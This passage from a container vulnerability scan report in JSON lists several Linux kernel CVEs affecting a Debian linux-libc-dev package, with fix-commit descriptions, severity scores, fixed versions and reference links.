"https://git.kernel.org/stable/c/6ddddcad436d8e6e619204d3c848147ff2f5bf1e", "https://git.kernel.org/stable/c/b19dc17ed963ac36c0db4b52a1803fb11169f91f", "https://git.kernel.org/stable/c/eb9dadf4d552ebe10644871c5189286552aa48f5", "https://git.kernel.org/stable/c/f4825922d2fb371e2b969697d792077f1b62b62c", "https://linux.oracle.com/cve/CVE-2026-90011.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90011", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-90011" ], "PublishedDate": "2026-09-16T11:17:13.76Z", "LastModifiedDate": "2026-10-19T09:18:48.927Z" }, { "VulnerabilityID": "CVE-2026-90036", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90036", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b2906700d0a26837f6a6644c3821114b27a1e4d13c31c43deb72d6f2154893f2", "Title": "kernel: NFSD: Prevent client use-after-free during blocked-lock reaping", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Prevent client use-after-free during blocked-lock reaping\n\nA bare lock owner -- its only remaining reference a blocked lock on\nnn-\u003eblocked_locks_lru -- holds a raw pointer to its nfs4_client but\nno reference keeping the client alive. When the per-net laundromat\nreaps such a lock, freeing the nbl drops the owner reference\nheld through flc_owner, and the final nfs4_put_stateowner()\ntakes the client's cl_lock. Because the laundromat detaches the\nnbl first, __destroy_client() no longer finds it, so a concurrent\nforce_expire_client() can free the client before nfs4_put_stateowner()\nruns, dereferencing cl_lock in freed memory.\n\nPin the client with cl_rpc_users before dropping\nnn-\u003eblocked_locks_lock, and skip clients already expiring, whose\nblocked locks __destroy_client() frees while holding an owner\nreference. Take nn-\u003eclient_lock outside nn-\u003eblocked_locks_lock.\nEvery other site holds nn-\u003eblocked_locks_lock as a leaf, acquiring\nno further lock, so placing nn-\u003eclient_lock outside it cannot form\na lock-order cycle.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-90036", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/linus/9026932ac8be4d0ae01db47f23619a98cc57b671%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90036.mbox", "https://git.kernel.org/stable/c/0d53a47c913d0bce3b5ec35c28cbcca4d015f33d", "https://git.kernel.org/stable/c/6fedb2eaff77554ca7a0deffd2e8bc0d6e8b38b0", "https://git.kernel.org/stable/c/7081224a59a0ca4edcd62c068588f4d900199a18", "https://git.kernel.org/stable/c/9026932ac8be4d0ae01db47f23619a98cc57b671", "https://git.kernel.org/stable/c/cd489b03587378645fe0d20142a33f1ed60bac98", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-p5cbazwcywbu.toml", "https://linux.oracle.com/cve/CVE-2026-90036.html", "https://linux.oracle.com/errata/ELSA-2026-83207.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90036", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-90036" ], "PublishedDate": "2026-09-16T11:17:16.803Z", "LastModifiedDate": "2026-10-21T13:20:34.647Z" }, { "VulnerabilityID": "CVE-2026-90049", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90049", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0941d3d70f942203c7bc4bcfdcd5339a3fdbaa1da28fc901382c0089e84dc7ac", "Title": "kernel: net: skbuff: don't skb_tx_error() the source skb in skb_zerocopy()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: don't skb_tx_error() the source skb in skb_zerocopy()\n\nskb_zerocopy() copies frags from @from into @to. On an\nskb_orphan_frags() failure it calls skb_tx_error(@from), a destructive\noperation on the source skb the copy helper does not own. That completes\n@from's zerocopy uarg and clears SKBFL_ALL_ZEROCOPY, including the\nSKBFL_SHARED_FRAG page-ownership marker.\n\nBoth callers already report the failure on their own drop path.\nnfnetlink_queue does it at nla_put_failure, and Open vSwitch does it in\nthe flow-miss drop arm of ovs_dp_process_packet(), so nothing is lost by\ndropping it here.\n\nOn Open vSwitch's OVS_ACTION_ATTR_USERSPACE path the skb is not freed on\nthis error: do_execute_actions() ignores output_userspace()'s return\nvalue and, unless the upcall was the last action, keeps forwarding the\nsame skb through the flow's remaining actions. The uarg is completed\nwhile that skb is still in flight, telling the producer its buffers are\nfree, and SKBFL_SHARED_FRAG is cleared on an skb the rest of the stack\nstill handles. That flag is what makes esp_input() call skb_cow_data()\ninstead of decrypting in place, so a later local ESP delivery can\ndecrypt over frags the skb does not own privately.\n\nLeave error reporting to the callers.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-90049", "https://git.kernel.org/linus/8ece906150128d5ec2462aabcc978c568433eca4%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90049.mbox", "https://git.kernel.org/stable/c/04dd250a78e268af3e7124beb1dc10ec1dd88d60", "https://git.kernel.org/stable/c/767ec2a65cc022d303b0c9c12811e7db22057341", "https://git.kernel.org/stable/c/8069643ae64dfdf634b6c78c7f622e5323031436", "https://git.kernel.org/stable/c/849bdb83123760a865bcb2970127f4c0b9423ba3", "https://git.kernel.org/stable/c/8ece906150128d5ec2462aabcc978c568433eca4", "https://git.kernel.org/stable/c/a13b1e80e5015cd732440b475c0ef443dc4a2157", "https://git.kernel.org/stable/c/bab5a851e44a3601d31f2aa8043f385bb50ac5d9", "https://git.kernel.org/stable/c/fb10e0e9b220a2eed08931a60dbaad9a2370c908", "https://linux.oracle.com/cve/CVE-2026-90049.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90049", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-90049" ], "PublishedDate": "2026-09-16T11:17:18.263Z", "LastModifiedDate": "2026-10-19T09:18:53.277Z" }, { "VulnerabilityID": "CVE-2026-90111", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90111", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4423b5ea05fd05957495ba359f2c012919bd39113fd8655b207bb13c58e4582f", "Title": "kernel: ip6mr: do not clone dst in ip6mr_cache_report()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6mr: do not clone dst in ip6mr_cache_report()\n\nIPv6 input attaches a non-refcounted (NOREF) dst to skbs under RCU.\nWhen an ingress multicast packet misses MFC lookup,\nip6mr_cache_unresolved() places the skb onto the unresolved queue,\nescaping the receive-side RCU grace period.\n\nIf the underlying route is deleted and freed, and the MFC queue is later\nresolved with a wrong parent interface, ip6_mr_forward() invokes\nip6mr_cache_report(..., MRT6MSG_WRONGMIF), which executes\ndst_clone(skb_dst(pkt)) on the freed dst entry, triggering a slab\nuse-after-free.\n\nReport packets queued to mroute6_sk (a raw socket) and netlink\nnotifications do not require an attached dst entry.\n\nFix this by:\n1. Removing dst_clone() in ip6mr_cache_report() and ensuring report skbs\n do not hold a dst.\n2. Dropping skb_dst before queuing unresolved skbs in\n ip6mr_cache_unresolved(), matching the fact that multicast\n forwarding resolves outgoing routes anew via ip6_route_output().", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-90111", "https://git.kernel.org/linus/235b42b5860189eb8c27c36435ad932cae65a734%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90111.mbox", "https://git.kernel.org/stable/c/235b42b5860189eb8c27c36435ad932cae65a734", "https://git.kernel.org/stable/c/42ef371466d5648f5c9e8bc219f0af0a2c2bbf8c", "https://git.kernel.org/stable/c/4a674afaae4136c71943aa3e35d433676fd40e8f", "https://git.kernel.org/stable/c/7f8287f606c8c028d4224e85d95dc448c6d6d623", "https://git.kernel.org/stable/c/b50d3cfb8513e895cee453dd0f834deee6ccc231", "https://git.kernel.org/stable/c/f57b0fd1c62e1be274ee154ab7fb8ac4481b7f89", "https://nvd.nist.gov/vuln/detail/CVE-2026-90111", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90111" ], "PublishedDate": "2026-09-17T17:17:03.13Z", "LastModifiedDate": "2026-10-30T13:20:42.083Z" }, { "VulnerabilityID": "CVE-2026-90206", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90206", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e9907aadaae3d18506e97a2f553c50c94f26f210caec196865dc9c675183a012", "Title": "kernel: nvmet: fix max_qid race between configfs and controller allocation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: fix max_qid race between configfs and controller allocation\n\nThe function nvmet_subsys_attr_qid_max_store() can race against\nnvmet_alloc_ctrl() when a subsystem's max_qid limit is modified.\n\nSuppose max_qid is currently 64. If nvmet_alloc_ctrl() executes:\nctrl-\u003esqs = kzalloc_objs(struct nvmet_sq *, subsys-\u003emax_qid + 1);\nand at this exact point, a userspace process changes max_qid to 128,\nnvmet_subsys_attr_qid_max_store() will set the new max_qid value. It\nattempts to delete active controllers to force a reconnect, but the\nnew controller won't be deleted because it hasn't been added to the\nsubsys-\u003ectrls list yet.\n\nnvmet_alloc_ctrl() then proceeds and adds the new controller to the\nsubsys-\u003ectrls list. Later, when nvmet_install_queue() is called, it\nwill see max_qid set to 128, but the memory allocated for sqs is only\nsized for 64 entries. This results in a KASAN out-of-bounds warning\nand potential memory corruptions.\n\nFix this by protecting the queue allocations and list insertion in\nnvmet_alloc_ctrl() with down_read(\u0026nvmet_config_sem). Because\nnvmet_subsys_attr_qid_max_store() acquires down_write(\u0026nvmet_config_sem)\nto modify the attribute, this safely prevents the configfs writer from\nmodifying max_qid during controller creation.\n\nCopy the max_qid from the subsystem to the controller's structure\nduring the allocation; ctrl-\u003emax_qid never changes as long as the\ncontroller remains in LIVE state, so this will prevent similar race\nconditions.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 2, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-90206", "https://git.kernel.org/linus/f1a8846e06388113dfdbb89dee005083fa9afdf9%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90206.mbox", "https://git.kernel.org/stable/c/2c23fc91789dfd9db746edb3ae9b90d65fabd410", "https://git.kernel.org/stable/c/6e6f8e3bfc66dff1833a48ecfd857268cff3be84", "https://git.kernel.org/stable/c/a1b88a1782eb6b368071dcda548a41b5c23d8cd2", "https://git.kernel.org/stable/c/af811970da4f0a928f5a1b1a946a04f755ce86f2", "https://git.kernel.org/stable/c/cae0f5ed6ce7af3f7e0003c417f1953a350f55bf", "https://git.kernel.org/stable/c/f1a8846e06388113dfdbb89dee005083fa9afdf9", "https://nvd.nist.gov/vuln/detail/CVE-2026-90206", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90206" ], "PublishedDate": "2026-09-17T17:17:15.7Z", "LastModifiedDate": "2026-10-30T13:20:46.387Z" }, { "VulnerabilityID": "CVE-2026-90227", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90227", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4eef537c5b61a8e372dd1a7438edd46460fe1bfcca24a08b232d51cf02996d93", "Title": "kernel: nvme/ioctl: check SUBMIT_IO with nvme_cmd_allowed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme/ioctl: check SUBMIT_IO with nvme_cmd_allowed()\n\nUnlike IO_CMD / IO64_CMD, NVME_IOCTL_SUBMIT_IO never calls\nnvme_cmd_allowed(). Unprivileged callers can thus issue I/O on a\npartition device or write through a read-only file descriptor.\n\nPass flags and open_for_write through and reject disallowed commands\nwith -EACCES.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-90227", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/b53d495c7f0db46b6748b5ade48371a10dd5d3bc%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90227.mbox", "https://git.kernel.org/stable/c/736b7c6adc7a65c4411beff197b6a634f7a6ca27", "https://git.kernel.org/stable/c/95b0591d51dbf9e618d7845883d535e88ad7c8af", "https://git.kernel.org/stable/c/b116e9dae433ff631f94c36c61a7a78fe400ed1e", "https://git.kernel.org/stable/c/b53d495c7f0db46b6748b5ade48371a10dd5d3bc", "https://git.kernel.org/stable/c/c35cd98eed1a863e8dd51073953563cd8c907f68", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-o7kfra1chleh.toml", "https://linux.oracle.com/cve/CVE-2026-90227.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90227", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90227" ], "PublishedDate": "2026-09-17T17:17:18.4Z", "LastModifiedDate": "2026-10-19T09:19:13.03Z" }, { "VulnerabilityID": "CVE-2026-90315", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90315", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:27b0e321d5fb47416a3bfee7f8395367c744a2c470d661666921d05125e06ec6", "Title": "kernel: PCI/sysfs: Add lockdown checks to legacy I/O and memory handlers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI/sysfs: Add lockdown checks to legacy I/O and memory handlers\n\nCurrently, the legacy I/O and memory sysfs handlers do not check\nsecurity_locked_down(LOCKDOWN_PCI_ACCESS), leaving the legacy_io and\nlegacy_mem files unprotected when the kernel is locked down.\n\nCommit eb627e17727e (\"PCI: Lock down BAR access when the kernel is locked\ndown\") added the check to pci_write_config(), pci_mmap_resource(), and\npci_write_resource_io() to prevent userspace from programming DMA-capable\nhardware that could be used to modify kernel code, but did not cover the\nlegacy handlers.\n\nAs a result, root can still write arbitrary I/O ports and map the legacy\nI/O and memory spaces while the kernel is locked down, which is the same\ncapability the lockdown is meant to remove.\n\nAdd the same check to pci_write_legacy_io(), pci_mmap_legacy_mem(), and\npci_mmap_legacy_io().\n\nThese generic handlers cover both architectures that define HAVE_PCI_LEGACY\n(such as Alpha and PowerPC).\n\n[bhelgaas: add Link]", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95367", "https://access.redhat.com/security/cve/CVE-2026-90315", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2536264", "https://bugzilla.redhat.com/2559811", "https://bugzilla.redhat.com/show_bug.cgi?id=2507296", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2536264", "https://bugzilla.redhat.com/show_bug.cgi?id=2559811", 